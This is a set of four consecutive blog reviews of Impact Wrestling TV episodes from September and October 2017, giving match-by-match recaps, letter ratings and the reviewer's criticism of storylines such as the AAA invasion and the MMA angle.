Impact Wrestling – October 5, 2017: I’m Getting Tired Of Saying This

Impact Wrestling
Date: October 5, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

We’re closing in on Bound For Glory and fresh off another show that ended in chaos with the American Top Team guys cleaning house. World Champion Eli Drake actually got to do something though as he and Chris Adonis got to beat down Johnny Impact and Garza Jr., who is now involved in the main event scene for some reason. Let’s get to it.

In Memory of Lance Russell.

We get a Pray For Vegas graphic.

We open with a recap of Johnny Impact vs. Eli Drake last week with Impact getting cheated out of the title. Johnny wants a fair rematch.

Opening sequence.

Here are Drake and Adonis to open things up. Drake talks about driving down Victory Road last week and pulling straight into Slam Town. He turned the ghetto into a parking lot and built Eli’s Cakes on top. Eli: “YUMMY! YEAH!” Johnny isn’t here tonight and there’s a good chance he won’t get back after that Gravy Train he took last week.

Drake turns his sights to Jim Cornette, whose golden boy couldn’t get the job done. Cornette has brought up every challenger he can and next week he’s sending the champ to Japan. Since he has to go halfway around the world next week, he’s getting the night off tonight. As for Adonis though, he wants to fight so let’s get an opponent out here right now.

Chris Adonis vs. Garza Jr.

Adonis is in street clothes and Drake joins commentary. Garza scores with a series of kicks for two but Adonis takes over on the arm. Back up and a hurricanrana takes Adonis out to the floor but he drops Garza onto the barricade as we take a break. We come back with Garza fighting out of a chinlock but getting caught in a butterfly suplex.

Adonis cranks on both arms as this match just keeps going. Seriously it’s Chris Masters vs. the local luchador. Why is this getting ten minutes? A spinebuster plants Garza but we cut to the back where Johnny Impact arrives. The Adonis Lock doesn’t work as Garza sends him into the corner. Drake bails to feed the parking meter and THERE GO GARZA’S PANTS!!! The Lionsault misses and Impact runs in for the DQ at 12:00.

Rating: D-. We just sat through Chris Masters vs. the luchador whose big spot is taking his pants off for twelve minutes with a run-in DQ. That’s the best thing they have to open the show? Horrible stuff here as Adonis really isn’t interesting and hasn’t changed a bit since he was in WWE. Find something more interesting than this.

Post match Impact beats up Adonis but gets in a fight with Garza. Cue Jim Cornette to make Impact vs. Garza Jr. for next week (yay). He throws in a bonus: the winner will be facing Drake for the title at Bound For Glory. So Garza goes from a midcard tag guy to possibly #1 contender for the World Title in the main event of the biggest show of the year in a few weeks? Even Jinder Mahal would think that’s extreme. Garza and Impact brawl some more. By the way, the total time between Cornette coming up and the music playing after his announcement: 87 seconds.

Recap of Moose vs. Bobby Lashley, which of course features the American Top Team guys. Good grief why do they think we care?

Moose is in a parked car looking for Lashley. He’s heading for the American Top Team headquarters.

Wrestlers are ready for Bound For Glory.

We look at OVE winning the Tag Team Titles last week.

Konnan yells at LAX for losing so Santana gets in his face. The card table is turned over.

OVE vs. Jon Bolen/Trey McGill

Non-title. Jake starts with Bolen but gets waistlocked for his efforts. A high crossbody and neckbreaker drop Bolen and McGill is sent outside as well. Jake drops both of them with a double suicide dive, followed by Dave’s Asai moonsault. Back in and OVE kicks McGill in the head a few times and let’s plug those Pop TV sitcoms. A High/Low puts Bolen away at 3:38.

Rating: D+. Just a quick win here to further establish OVE as stars. It would be nice if they established some other teams though as I’m not sure who OVE is supposed to feud with after they presumably defeat LAX in the rematch at the pay per view. The tag division is one of the company’s weakest points and that’s really covering a lot of ground.

We recap James Storm/Ethan Carter III vs. the AAA guys, who completely hate this company because the script tells them to.

Here are KM and Sienna with the latter complaining about not having a match on Bound For Glory. No one has a match on the show yet you nitwit. She says she’s going into the Hall of Fame this year so here’s Gail Kim to interrupt. Gail wants her show at the Knockouts Championship Title (still such an odd way to word it) at Bound For Glory.

Cue Taryn Terrell to say she was the longest reigning Knockouts Champion in history and wants a chance to get the title back. Now it’s Allie coming out with Josh seemingly liking her look this week. The other three might be former Knockouts Champions but she’s Allie and deserves another chance to become champion. Cue Karen Jarrett to say Sienna isn’t going into the Hall of Fame. Yes, they actually felt that we needed that explained to us. It’s also a four way for the title at Bound For Glory.

Joseph Park has a meet and greet scheduled for Grado but Grado thinks the prices are a little high. Park says you can charge these marks anything. He pays Grado what seems to be a small amount of money but Grado again seems happy with it.

Caleb Konley/Andrew Everett/Trevor Lee vs. Sonjay Dutt/Petey Williams/Matt Sydal

Remember like three weeks ago when Sydal was getting a World Title shot? Or remember like fourteen years ago when people cared about Petey Williams? I mean you should, as it’s the only reason he’s in this spot at the moment. Everything breaks down just a few seconds in with the villains taking over early on, only to be sent into each other. A triple dropkick sends them outside, followed by an apron moonsault and a double suicide dive.

Back from a break with Dutt and Sydal legsweeping Lee and Konley to set up stereo standing moonsaults. Dutt gets kneed in the back and kicked in the face as the beating begins. Konley works on the arm as the announcers talk about the villains’ unity for wearing all black gear. Or they want to make sure no one recognizes them on this show.

Dutt grabs a tornado DDT while dropkicking everyone else, setting up the hot tag to Petey so house can be cleaned in a hurry. Everything breaks down and Sydal’s top rope double knees takes Lee down. Matt throws Lee into Everett on the top, followed by the shooting star to end Everett at 14:31.

Rating: C. I’m not even going to bother with the sarcasm here. It was a completely watchable cruiserweight match that means a grand total of nothing because they’re going to be thrown into an Ultimate X match for the title where no one gets to showcase any individuality and the whole thing is about crazy spots that we’ve seen before and we hear about how important the X-Division is despite it never getting any focus. We’ve heard the same thing for the better part of ten years now and I’m tired of pretending it’s going to change.

Dutt wants the title shot at Bound For Glory and the winners get in an argument over who should have the chance. Just announce Ultimate X already so it can be over hyped.

Here’s this week’s Global Forged.

Laurel Van Ness is back in the audience looking a husband.

Moose arrives at the gym and shoves Dan Lambert away. He gets in a cage but a fighter punches him in the face so the beatdown can be on. They throw Moose out of the building.

Ethan Carter III/James Storm vs. El Hijo de Fantasma/Texano Jr.

In what is becoming a trend, this is getting nearly half an hour. Storm takes Texano down to start as JB hypes this as main eventers vs. main eventers. Carter and Storm get in an argument over a tag though and it’s Fantasma sneaking in for a cheap shot to take over. Storm slips over and makes the tag to Carter for a flapjack on Texano.

The TK3 gets two but Fantasma gets the same off a dropkick. Carter is taken into the heel corner for some stomping, followed by a hard kick to the chest for two. It’s off to the chinlock for a bit until Carter fights up, only to have Pagano come strolling down. Back from a break with Carter still in trouble via some more choking on the ropes.

Texano adds in a jawbreaker and shouts in Spanish for Fantasma to go up. That means a missed splash though and a cutter allows the hot tag to Storm. Everything breaks down again and Storm starts to clean house. It must not be a very big house though as Fantasma superkicks him down, only to get crotched on top. He hasn’t had much luck up there.

The Tower of Doom takes everyone down and thing slow a bit. Carter is thrown outside and then into the post by Pagano as Eddie Edwards not being here to even things out is likely going to be a plot point. Storm loads up a suplex, only to have Pagano trip him up and hold the leg so Fantasma can get the pin at 19:50.

Rating: D+. This one boils down to whether this story interests you or not. It doesn’t in my case as I still have no reason to care about any of the AAA guys, nor do any of them have any motivation to be heels other than they’re from another company. That’s not enough of a story for my taste and I really didn’t need to see a completely average at best tag match going on for twenty minutes.

We go back to the LAX club house where Konnan has a big idea: a street fight at Bound For Glory. Everyone leaves to party and Low Ki is shaking his head.

Overall Rating: D. The show still feels completely flat as almost nothing interesting happened all night long. A big part of that is the roster being filled by so many outsiders, be they from MMA or AAA. It’s one thing if the matches are tearing the house down or something (like the lucha libre in ECW where they were a bunch of outsiders but stealing the show in a way no one had seen in America before) but that’s not what we’re getting here.

Instead it’s a bunch of average matches with very weak stories that aren’t drawing in any special interest. Odds are the MMA guys get in the ring at Bound For Glory, which hasn’t been interesting before and won’t be this time either. Either way, I’m sure we’ll be told that it’s the most thrilling thing we’ve ever seen and how the company is changing wrestling.

What GFW doesn’t seem to get is that changing wrestling isn’t always a good thing and just being different for the sake of being different doesn’t work. They need a focus and I really haven’t seen that in a long time. Figure out what you want to be and go with it, but just bringing in a bunch of people from another promotion whose entire characters are “this person is from this promotion and they’re awesome” isn’t enough. The show wasn’t terrible by any stretch but it also was one of the least interesting ones they’ve done in a good while, which is the case way too often around here.

Results

Chris Adonis b. Garza Jr. via DQ when Johnny Impact interfered

OVE b. Jon Bolen/Trey McGill – High/Low to Bolen

Matt Sydal/Sonjay Dutt/Petey Williams b. Trevor Lee/Caleb Konley/Andrew Everett – Shooting star press to Everett

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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Impact Wrestling – September 28, 2017: Can We Get Them A Motivational Poster?

Impact Wrestling
Date: September 28, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

We’re still in the invasion period as stars from both AAA in Mexico and the American Top Team fighters are around, making lives rather difficult for the Impact Wrestling crew. With less than two months to go before Bound For Glory, things are starting to pick up and that means some stuff needs to start being set up. Let’s get to it.

The opening video looks like the World and X-Division Title matches tonight.

Opening sequence.

X-Division Title: Petey Williams vs. Trevor Lee

Williams is challenging because he doesn’t like how Lee stole the title and wants to return the title to its glory days. You know, like when you cheated by using a hockey stick or various other Canadian things. In other words, this story is a stretch at best and unnecessary at worst. Williams hurricanranas him down to start as the announcers debate the wrestlers’ IQ’s.

Lee sends him into the steps to take over though and another hard whip into the corner gets two on Petey. As Josh takes shots at fans/news talking about the company being in trouble, Lee grabs a quickly broken chinlock. A Canadian legsweep gets two but Caleb Konley gets on the apron for a distraction. Now the Canadian Destroyer connects but Lee pulls the referee out at two. Petey begs for it to not be a DQ and settles for Konkey being ejected instead. The distraction lets Lee hit a belt shot for two but the standing double stomp puts Williams away to retain at 8:09.

Rating: C. I’m still waiting on a reason to care about Williams other than nostalgia. He’s a one move guy and nothing else he does really stands out. Yeah he used to be a big deal around here but that was over ten years ago and it’s hard to care about him now when I didn’t care about him in the first place. Lee retaining is good though I’m not looking forward to them just throwing the title up in an Ultimate X match instead of having a story put together.

LAX is ready to retain their Tag Team Titles.

Taya Valkyrie/Taryn Terrell/Sienna vs. Gail Kim/Allie/Rosemary

Sienna and Rosemary start things off with the latter throwing the champ around like she’s nothing. It’s off to Taryn who runs from Gail and brings in Taya instead. Everything breaks down with the villains being sent outside as we take a break. Back with Gail getting triple teams and Taryn hitting a swinging faceplant for two. The Road to Valhalla is broken up though and the hot tag brings in Allie to clean house. Not that it matters as Sienna rolls Allie up and puts her feet on the ropes for the pin at 9:34.

Rating: C-. Just a match here with a good chunk being spent on a commercial. The Knockouts division is starting to pick up steam again but it’s not going to matter if we just hand it right back to Kim for the sake of a big retirement present. Allie has become just another person too and that’s quite the shame after everything she did over the spring. There’s still time for her but sweet goodness it’s gone down hill in a hurry.

Eli Drake says he’ll retain and that’s just a fact of life.

An exhausted Grado goes to dinner with Joseph Park and is given his first royalty check. Without looking at it, Grado offers to take care of dinner but Park has to leave to answer a call. Grado opens the envelope and really isn’t happy.

Johnny Impact has stolen Drake’s couch and says he’ll take his title tonight too.

Here’s James Storm for a chat. He doesn’t like the AAA guys coming in and disrespecting him like so many other wrestlers have done in the past. This is GFW (not for long dude) and Storm has the fans stand up and chant the letters with him. He doesn’t care what the AAA guys think because he’ll be here beating people up and drinking beer. Cue Texano but Storm says cut the music.

Storm doesn’t have a problem with Mexicans but he has a problem with Texano. A Taco Bell joke is made and the fight is on. Fantasma runs in to beat on Storm with Texano beating on him with the bullrope and hitting his own Last Call. Fantasma calls AAA the best company in the world but Ethan Carter runs in to break up a beer bottle shot to Storm’s head. House is cleaned and Storm offers a handshake, which Carter finally accepts.

Post break Storm and Carter demand a match from Jim Cornette even though they hate each other. Cornette makes it for next week but tells them not to screw up the AAA deal.

Another video on Global Forged. I still have no idea why this is supposed to be interesting.

Tag Team Titles: LAX vs. OVE

OVE is challenging and goes straight at the champs during the entrances. Dave rolls Santana up for two to start as the announcers talk about the World Title match. Santana is right back up with a middle rope Russian legsweep and we take a break. Back with Dave in trouble and Ortiz dropping a middle rope legdrop for two.

A double suplex drops Dave again but he rolls away and brings in Jake for the house cleaning. Jake powerslams Santana into the corner (cool) for two, followed by a super hurricanrana for the same. A Death Valley Driver sends Dave into Jake for a rather near fall. Back up and Dave grabs Search Encompass (a snap DDT) for the pin and the titles at 11:14.

Rating: C. The match was fine but they didn’t have time to do much with it. OVE winning makes sense and they’ve been built up well enough though I have no idea who they’re supposed to feud with other than LAX. In other words, get ready for the big gimmick rematch at Bound For Glory.

As usual, we speed away from the title change to get to what matters: a video on Lashley deciding if he wants to be a fighter or a wrestler. Dan Lambert brags about how awesome of a fighter Lashley can be and tells the cameras to get out of here. Can someone please explain to me why an MMA gym owner is the top heel in this promotion?

Johnny Impact is ready to win the title.

GFW World Title: Johnny Impact vs. Eli Drake

Drake is defending and unless there’s something else to end the show, they have nearly half an hour. Eli sends him into the corner to start but gets tossed outside for his efforts. Back in and a neckbreaker drops Impact again. Impact slugs away until Chris Adonis pulls him down from the floor, earning Adonis an ejection.

Back from a break with Drake teasing walking out and getting suplexed on the ramp for his efforts. Johnny charges into an elbow in the corner though, followed by an elbow on the apron for two. A chinlock keeps things slow with Josh saying it’s not boring because it’s how Drake wins matches. Fair enough.

Johnny fights up with a neckbreaker and the breakdancing legdrop, followed by the standing shooting star for two. Back from a break with Drake getting two off Blunt Force Trauma. The referee gets bumped so there’s no one to count the pin off the Flying Chuck. Adonis comes back as Drake hits Impact with the belt for two from another referee.

Drake punches the second referee as Adonis helps beat Impact down. The belt shot hits Adonis though and Johnny’s flip neckbreaker gets two more from the first referee. Drake shoves the first referee and kicks Johnny low, setting up the Gravy Train to retain Drake’s title at 25:23.

Rating: C-. So did Cornette just skip off to Wendy’s and miss the entire main event? Of all the things he complains about seeing, this is the kind of thing he would likely stop in a heartbeat but all this stuff is just allowed to happen? The match was fine, albeit completely overbooked of course, which tends to be the case in so many of these main events. You can probably pencil this in for the main event of Bound For Glory too, which isn’t the worst idea in the world.

Post match Adonis holds Impact so Eli can talk trash to him. Of all people, freaking Garza Jr. runs in for the save but LAX comes in to beat everyone down. Konnan shoves a fan and LAX takes down an Impact official. Adonis and Drake beat up some referees as Cornette and Scott D’Amore come out to end the show. Of all the people you could put into that spot, GARZA JR.??? REALLY?

Overall Rating: C. The show wasn’t terrible for the most part but the lack of personalities is getting worse every week. Drake and Impact (to a lesser degree) can talk quite well but for the most part, people just come in, do their matches and leave without making any kind of connection to the fans. It doesn’t help that the big villain is an MMA guy and the second villains are all from AAA for a lame invasion angle.

Overall, the show just feels lifeless at times and boring the rest of the time. There’s very little that stands out as impressive on the show and it feels like a combination of unoriginal stuff with uninspired characters. The wrestling is watchable but they really need to work on their storytelling, which is a disaster at the moment.

Results

Trevor Lee b. Petey Williams – Standing double stomp

Taya Valkyrie/Taryn Terrell/Sienna b. Gail Kim/Allie/Rosemary – Rollup to Allie with feet on the ropes

OVE b. LAX – Search Encompass to Ortiz

Eli Drake b. Johnny Impact – Gravy Train

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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Impact Wrestling – September 21, 2017: Enough Already! In Spanish!

Impact Wrestling
Date: September 21, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

It’s time for whatever this promotion is called this week, though I would recommend MMA Pro Wrestling at this point as the American Top Team fighters are the undisputed top stars of the show. Lashley’s release has been revoked due to getting in a big fight with Moose to end last week’s episode. Let’s get to it.

In Memory of Bobby Heenan.

We open with a recap of last week with Johnny Impact becoming #1 contender and the MMA fighters beating down Moose.

Here’s a mad Johnny Impact to open the show. He wants Eli Drake out here right now for his title shot but it turns out that Drake is in Mexico defending the title (because GFW thinks we still believe this is live every week). Instead it’s KM and a referee to interrupt. KM doesn’t want to hear this but Johnny still wants to fight Eli because he saw the champ’s car in the parking lot. KM: “YOU FANS IN THE IMPACT ZONE SUCK!” And this man is a professional ladies and gentlemen. After some insults, Johnny agrees to put up his #1 contendership right now.

Johnny Impact vs. KM

Johnny kicks him in the face at the bell and gets two off a standing shooting star. KM drapes Johnny over the top rope to take over and hammers away at the head. A sitout full nelson slam gets two but Johnny is right back with a leg lariat. KM takes a knee to the face and the breakdancing legdrop gets two. The countdown 450 puts KM away at 2:59. KM might be the most worthless member of the roster.

Pagano is ready to do bad things and tells someone that they know what to do.

Ava Storie vs. Taya Valkyrie

Taya throws her down without much effort and the beating is on in a hurry. The Road to Valhalla (a great name for the double chickenwing facebuster) is good for the pin on Storie at 1:19.

Taya says lucha royalty has arrived and she wants the Knockouts Title. Cue Rosemary to say there is laughter in her head. The Hive thinks it’s funny that Taya should get a title shot first. How dare anyone think Rosemary would lose without help from the evil bride or the champ’s speed bump of a cousin. Sienna comes in to turn this into a big brawl with Allie and Taryn Terrell following her out soon thereafter. Gail Kim finally comes in for the save to clean house.

It’s back to Mexico where OVE is refusing to leave until they get a fair title shot. A spy calls someone (presumably Konnan) to say they’re coming. Post break Konnan tells his women to show OVE a good time until LAX is ready. This is little more than an excuse for strippers to dance. LAX comes in for the showdown and a match is made for next week.

We meet some names in Global Forged. As usual, none of this has a chance to sink in because we need to get to whatever is next.

Gail, Allie and Rosemary want a six Knockouts tag. Rosemary wants the blood and gore, which seems to excite Allie more than you would expect.

We recap Trevor Lee stealing the X-Division Title last week. Petey Williams really isn’t cool with that and he wants to bring some prestige back to the title.

Bound For Glory is coming to Ottawa, Ontario, Canada.

Video on Grado performing at an indy show in Cleveland on his first assignment as a member of Joseph Park’s sports management group. It’s a fairly well attended show and Grado says he was well paid. I think you know where this is going.

El Pagano/El Hijo Del Fantasma vs. Eddie Edwards/Ethan Carter III

So yeah, Carter is just kind of a face now. Eddie starts fast with a sitout F5 to Fantasma and it’s off to Carter for some right hands in the corner. Carter makes the mistake of going after Pagano though and Fantasma kicks him in the face to take over. A running corner dropkick from Pagano gives Fantasma two, followed by a running Blockbuster to give Pagano the same.

Carter runs over both luchadors but Pagano breaks off a hot tag attempt. A quick TK3 drops Pagano and now the hot tag brings in Eddie to clean house. Everything breaks down and a modified 1%er plants Fantasma, followed by the Blue Thunder Bomb. There’s no count though as the referee decides to enforce the rules for a change. Cue fellow AAA wrestler Texano to powerbomb Eddie, giving Fantasma the pin at 6:36.

Rating: C-. I just do not care for invasion angles as these three are just people attacking GFW wrestlers. Why? No particular reason really other than they’re outsiders. I don’t have any reason to care about any of them and the match was nothing special in the first place. On top of that, I have a big issue buying the idea that GFW wrestlers who might have had issues in the past are just suddenly all friendly for the sake of standing up for the promotion.

The beatdown is on until James Storm makes the save. The announcers point out that Carter and Storm were bitter rivals just a few months ago, making this story all the less logical.

Johnny Impact is looking for Eli but runs into Fantasma and Texano. They don’t like him being in AAA so they want to fight him here, with Impact being willing to put up his #1 contendership tonight.

Kongo Kong vs. Mahabali Shera

Josh: “This is like Godzilla vs. the other big thing!” Shera hammers away but gets powerslammed down for his efforts. Kong throws him around a bit more before having to block a slam attempt. A running splash staggers Kong and a springboard….I guess clothesline that was left short puts Kong down for two. Back up and Kong scores with a headbutt, followed by the Cannonball. The top rope splash ends Shera at 3:49.

Rating: D. This would be another good example of just throwing people out there because they need to fill in time. Neither of these two have anything interesting and Kong continues to be more embarrassing than anything else. Shera is somehow the more interesting of these two, which has probably never been said before.

Eli Drake is in Mexico to find Johnny Impact but it turns out Johnny isn’t here. That gravy train is coming down the tracks to run Johnny over and no one is taking this title from him. As usual, Drake is one of the best things about this promotion by several, several miles.

We look at Lashley and the MMA guys beating Moose down. Moose isn’t happy.

Texano vs. Johnny Impact

For the #1 contendership. Felling out process to start with Texano slapping him in the chest, only to be taken down with some right hands to the face. A running knee to the jaw and the standing shooting star give Johnny two so Texano bails to the floor. Back in and Johnny hits three straight flip neckbreakers for two but the 450 misses. Texano gets in an enziguri to put Johnny on the floor and we take a break.

Back with Texano sending him into the steps and a variety of other things in lieu of actual wrestling. Texano grabs a reverse Figure Four, which goes as far as a submission hold from a heel is going to go. Johnny is back up with an Asai moonsault to the floor but loses another brawl. Back in and Texano hits some chops/clotheslines in the corner but Johnny scores with the Flying Chuck. The sliding German suplex sets up Starship Pain to give Johnny the pin at 14:35.

Rating: C-. Just another example of a match where if you don’t follow either AAA or Lucha Underground, you’re watching Johnny fight some random guy. Texano is a talented performer but he’s another name on a list of people being brought in and it’s getting really old in a hurry.

Laurel Van Ness is in the crowd looking for a man.

Sienna, Taya and Taryn go into Karen Jarrett’s office and demand a match next week. Karen is smug (ala Stephanie McMahon again) and the match is made.

For our main event, we go to AAA where Drake defended the title against Bronce.

GFW World Title: Eli Drake vs. Bronce

Drake is defending and clotheslines the much smaller Bronce down to start. A middle rope hurricanrana is countered into a powerbomb so Drake can start choking away. The pop up Big Ending gives Drake two as this arena, which doesn’t seem to be anything huge, already feels entirely better than the Impact Zone. Bronce gets two off a hurricanrana but the Gravy Train retains the title at 4:35.

Rating: D. It was watchable enough while it lasted but this was just a step above a squash. There were two big positives here though. First of all, as mentioned, the arena felt big for a change. Instead of just having the same 500 or however many bored fans, this felt like people there to see a wrestling show. That’s so much better than the norm. Second, it was nice to have a full match instead of just clips. I could live with this going forward instead of seeing about three minutes of a probably fifteen minute match.

A Victory Road ad takes us out.

Overall Rating: D. Here’s the thing: this was WAY better than last week’s show as it at least had a point and some stories running throughout the show. They have a direction (at least for now) and that’s an upgrade. However, the problem is that direction not being interesting. If you don’t REALLY like the AAA story or the MMA guys, you might as well just wait until after Bound For Glory as you’re not going to like the show until then at the earliest.

The AAA/Crash guys were all over this show, being featured in nearly every match. As mentioned, I’m not a big fan of invasion angles in the first place and I’m even less of a fan of just bringing people in and being told to care about them because they’re awesome. Without watching AAA (or Lucha Underground, which is starting to see a very similar cast of characters), I have no idea who most of these newcomers are. Therefore, I have no reason to care about them or what they’re doing. Throw in the fact that they’ll likely be gone after this taping cycle and Bound For Glory and it’s a big waste of time.

As usual, the problem is having one story dominate the show. It’s what they did in Immortal, Aces and 8’s and a host of others. While it’s not to that level yet, just wait until Alberto El Patron is back to be the big star of the AAA wrestlers (if they stick around that is). It’s a really annoying tactic and if you don’t like the story, you’re just kind of stuck waiting around, which is hardly a good way to run a TV show. Anyway, this week was less boring, and that’s about the extent of the positives.

Results

Johnny Impact b. KM – 450

Taya Valkyrie b. Ava Storie – Road to Valhalla

El Hijo Del Fantasma/El Pagano b. Ethan Carter III/Eddie Edwards – Sitout powerbomb to Edwards

Kongo Kong b. Mahabali Shera – Top rope splash

Johnny Impact b. Texano – Starship Pain

Eli Drake b. Bronce – Gravy Train

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Impact Wrestling – September 14, 2017: A Really Bad (And Long) Sign

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Date: September 14, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, Jeremy Borash

We’re closing in on Bound For Glory though nothing has actually been mentioned about the show yet. The big match this week is OVE vs. LAX for the Tag Team Titles….from the Crash in Tijuana, Mexico. In other words, it’s more footage from another promotion instead of here at Impact Wrestling. This is starting to feel like Ring of Honor and that’s really not a good thing. Let’s get to it.

Lashley and American Top Team arrive and beat up a backstage guy.

Quick video on Johnny Impact vs. Low Ki for the #1 contendership.

Opening sequence.

Garza Jr. vs. Braxton Sutter

Fallout from Sutter talking to Allie last week. Sutter headlocks him to start but stops to let Garza take off his shirt. A slam gives Garza two, followed by a sunset flip out of the corner for the same. Sutter gets two off a powerslam but again stops so Garza can take off his pants, but not before blowing a kiss to Allie. Her jaw drops as the pants come off and Garza superkicks Sutter for good measure. A powerbomb gives Sutter three straight near falls but he gets superkicked for a second time. Garza adds a Lionsault (minus the running start) for the pin at 4:53.

Rating: D+. So the story now is about Garza hitting on Allie and Allie causing Sutter problems. That’s quite the shame as they seem to be teasing a breakup here, despite the two of them being such an awesome team just a few months ago. Allie is incredibly talented and it’s kind of a shame that she’s been relegated to a really standard story instead of letting the two of them run with what they had earlier in the year.

Post match Sutter yells at her but then apologizes. Allie doesn’t seem to accept it at first but eventually leaves with him.

Grand Championship: Ethan Carter III vs. El Hijo de Fantasma

Carter is defending and gets a decisively face pop. Hector Guerrero is one of the judges and Josh accuses him of being biased. Fantasma is forced into the corner to start but comes right back with an armbar to slow things down. Naturally the announcers talk about Lashley and MMA because that’s what this wrestling show is now about. Some chops get Carter out of trouble and he drops an elbow for two. The TK3 connects but sends Fantasma to the floor as the round ends.

Round one goes to Carter so Fantasma starts round two in a hurry. A right hand puts him back down though and the pace slows again. Fantasma jumps over him in the corner and snaps off a hurricanrana. A jumping knee to the face sets up running knees in the corner as Carter is rocked. Fantasma gets two off a top rope hurricanrana and frog splash. The 1%er is broken up and it’s a surfboard hold to take us to the end of round two.

Fantasma wins to tie things up and we take a break before the third fall. Back with Carter powerbombing him twice for another near fall and both guys being a bit spent. A slugout goes to Fantasma but Carter flips out of a Fujiwara armbar. Another TK3 gets two but Fantasma sends him outside for a suicide dive. Back in and a hanging 1%er plants Fantasma as the time expires at 9:00. Carter wins via split decision.

Rating: B-. Good match, and another great example of one that completely doesn’t need the round thing. It’s a good enough match and they were beating each other up but it was really hard to buy the near falls when they just love these judges’ rulings. I liked the match enough but this just needs to be the TV Title again with this whole nonsense dropped.

Post match Fantasma gets in a shoving match with Hector, who was the deciding vote. That dies down and it’s Pagano debuting (in a very weak moment) to beat Carter down. Eddie Edwards runs in for the save, which Carter doesn’t seem to care for.

We go to Mexico where Homicide reunites with LAX. They hit a club and Konnan says the fix is in because they’ve paid off the referee and gives OVE tainted water.

Tag Team Titles: Ultimo Maldito/Hijo de Pirate Morgan vs. Black Boy/Arkangel Davino vs. LAX vs. OVE

Don’t know who these guys are? Well that’s just your fault because you didn’t do your homework by watching a promotion from Mexico to study up on things. Jeremy says one of their names is Black Diamond but when I looked up some of the names to see how they were spelled, it was listed as Black Boy. Much like the matches during the Hardys’ World Tour, this is a bunch of clips instead of the full match. There are some good looking dives and near falls, followed by what seems to be a three count but the referee is pulled out. Homicide adds a Gringo Killer and LAX retains after less than three minutes shown.

We see OVE going up to I believe the Crash locker room and Konnan says that’s like signing your death certificate.

Grado vs. ???

Grado is leaving due to visa issues and wanted one more match. The Wee Boot gives him the pin at 47 seconds.

Post match Grado says he’s leaving on a coach flight at 10am but he wanted to perform in front of the best fans in the world one more time. Joseph Park interrupts and he has a surprise. He’s going to be sponsoring Grado’s visa so Grado can stay! Park is going to be his agent it seems, promising him booking, in-ring Polaroid shoots and podcast appearances.

Johnny Impact says Low Ki is a dream opponent and tonight, Low Ki goes to Slam Town.

Lashley and American Top Team goes in to see Jim Cornette and demands his release. Cornette grants it but the fighters have to leave, but before Lashley leaves he wants him to face Moose one on one.

X-Division Title: Sonjay Dutt vs. Trevor Lee

Dutt is defending and this is falls count anywhere. Lee gets two on the floor off a baseball slide but Dutt sends him into the barricade for a breather. They head inside for the first time with Lee kicking him in the face, only to get dropped again. Dutt throws in a chair but Lee throws it right back out.

They hit kicks to the head at the same time for a double knockdown. Why there’s no count when Dutt’s leg is over Lee isn’t clear, but I’d guess it’s because that’s not in the script and the referee doesn’t know any better. Dutt’s tornado DDT plants Lee but a superplex plants Dutt just as fast. They head outside again with Lee throwing a chair at his head before fighting into the crowd.

We take a break (of course we do) and come back with the fight heading into the back. Caleb Konley jumps Dutt, because falls count anywhere now means No DQ. A trashcan to the head gives Lee two but heel miscommunication lets him get a breather. Dutt is busted open and it’s time to hit Lee in the head with a trashcan lid. A tornado DDT off the wall is countered with a crotching onto a barricade and Lee rolls him up (with tights) for the pin and the title at 13:57.

Rating: C+. It never ceases to amaze me how much they’ve sucked the soul out of this division. This was a fast paced match and I couldn’t bring myself to care about it no matter how hard I tried. It’s just not interesting no matter how hard they try (and the wrestlers are trying) and so much of that is due to how worthless the X-Division is now. They’re treated like an afterthought and have been for years now. Why would I care if the company doesn’t?

American Top Team beats up Richard Justice for general purposes.

Clip of Global Forged, GFW’s version of Tough Enough/Breaking Ground.

Taya Valkyrie vs. Amber Nova

Taya slams her down to start and sends Amber into the corner. A raised boot in the corner staggers Taya as JB mentions Bound For Glory, perhaps for the first time. Taya gets two off a sitout powerbomb and pulls Amber up before three. A double chickenwing facebuster (Beth Phoenix’s Glam Slam) ends Nova at 1:20.

Eli Drake and Chris Adonis smell desperation from the people trying to reach his level with their little T-Rex arms. Drake has spotted two marks in the main event and he’ll be watching.

Johnny Impact vs. Low Ki

The winner faces Drake at Victory Road, whenever that is. Ki tries some shots to the face but gets swatted away as they seem to have a lot of time here. They hit the mat for some grappling before Impact blocks a kick and grabs a dragon sleeper over the ropes. We take a break and come back with Impact fighting out of an abdominal stretch and kicking Ki down.

The breakdancing legdrop gets two and Ki is placed on the middle rope for a sliding German suplex (cool). Impact’s split legged moonsault is broken up though with Ki grabbing a hanging dragon sleeper. The Flying Chuck puts Ki down but he comes back with a shotgun dropkick into the corner. Back up and Ki crotches himself while trying the Warrior’s Way, setting up Starship Pain to give Impact the title shot at 11:14.

Rating: C. Hopefully that’s it for Low Ki as I’m sick of his stupid ultra serious yet still paying homage to/ripping off a video game look. At least he’s toned down the kicks a bit and learned to do something else for a change. Impact winning was obvious and at least they didn’t have the match go on twenty minutes for the sake of going on twenty minutes.

Post match Adonis sneaks in to put Impact in the Adonis Lock. Drake comes out to add the Gravy Train.

Lashley tells Cornette to watch what’s about to happen to Moose.

Taya yells at Karen Jarrett and tells her to pay attention to what happens in that ring.

Here’s Lashley as this show’s run time has been extended to approximately nineteen hours. Lashley talks about being forced to choose between wrestling and MMA, even though he’s doing pretty well at both. American Top Team has been begging him to come there full time and win that “mixed martial arts heavyweight championship”. He’s going back to MMA full time but first, he wants to call out Moose. The announcers are surprised by this, despite seeing what Cornette said and mentioning it during the show.

